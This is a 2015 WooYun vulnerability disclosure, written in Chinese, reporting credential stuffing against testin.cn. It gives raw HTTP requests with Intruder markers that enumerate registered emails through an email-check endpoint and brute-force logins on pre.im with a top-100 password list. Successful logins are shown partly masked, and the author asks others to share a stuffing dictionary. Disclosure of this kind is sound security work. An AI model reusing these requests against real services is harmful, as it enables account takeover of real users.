当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130145

漏洞标题:云测信息某处可撞库

相关厂商:testin.cn

漏洞作者: 路人甲

提交时间:2015-07-29 11:57

修复时间:2015-08-03 11:58

公开时间:2015-08-03 11:58

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:11

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-29: 细节已通知厂商并且等待厂商处理中
2015-08-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

撞库攻击。

详细说明:

http://www.testin.cn/portal.action?op=Portal.index


1.png


我们先将注册过的邮箱撞一遍,这里用top500name@163.com(有没有大牛在zone共享一个撞库字典,邮箱+密码)
数据包如下

POST /json/portal.action?op=Portal.checkEmailExist&td=0.5637650243006647 HTTP/1.1
Host: www.testin.cn
Content-Length: 19
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.testin.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.testin.cn/portal.action?op=Portal.index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: IESESSION=alive; pgv_pvi=76659712; pgv_si=s5168476160; US=%7C%7C%7C%7C%7Cla%3Dzh%7C%7C%7C%7C%7C%7C%7C%7C; _ga=GA1.2.1615549527.1438076599; JSESSIONID=E97BEBAD19AFBBAAB4F51579C34627CB; __utmt=1; isnewlogin=1; MECHAT_CKID=cookieVal=006600143807660108132496; CNZZDATA1254750383=918811460-1438075496-http%253A%252F%252Fsso.testin.cn%252F%7C1438137048; __utma=248299522.1615549527.1438076599.1438089746.1438134929.3; __utmb=248299522.56.10.1438134929; __utmc=248299522; __utmz=248299522.1438076599.1.1.utmcsr=s.bt.gg|utmccn=(referral)|utmcmd=referral|utmcct=/; MECHAT_LVTime=1438137599008
email=s§dongdoehei§%40163.com


跑完之后得到注册邮箱!

mask 区域
*****ng*****
*****pe*****
*****na*****
*****yin*****
*****ong*****
*****ia*****
*****ng*****
*****yu*****
*****in*****


有一点点少
不知道能不能出来
然后找了好几个接口测试,发现一处没有验证码。

http://pre.im/site/login


2.png


登陆,抓包!

POST /site/login HTTP/1.1
Host: pre.im
Content-Length: 152
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://pre.im
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://pre.im/site/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: _csrf=65776aadb0dc2b36556b12fbc0ed23f4c1da3297c22a56ed02e755c11cf94742a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22KlTzKDNyjKAOma8lFp7QZb874J6Drh68%22%3B%7D; PHPSESSID=av03tc7obvsopgv6m2fn8iepr6; authtoken=EFA70100608cb664353a4e5fff783b8ed7bd829b; loginemail=service%40testin.cn; SERVERID=d81526ee18c549915fdae67f04b3b39d|1438137165|1438137165; CNZZDATA1255620131=505821548-1438071738-null%7C1438134055
_csrf=dC44Y0xFTTE%2FQmwZBwEDSB5leSwhJHVdMl4PMhYndQZAZA4nPi17CQ%3D%3D&User%5Bemail%5D=§doxuehei§%40163.com&User%5Bpassword%5D=§YXTES23§&login-button=


user载入刚才用户民,密码用top100

3.png


302为成功登陆的

mask 区域
*****	aaa*****
***** aaa*****


4.png

漏洞证明:

有木有大牛在zone贡献个撞库字典啊

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-03 11:58

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论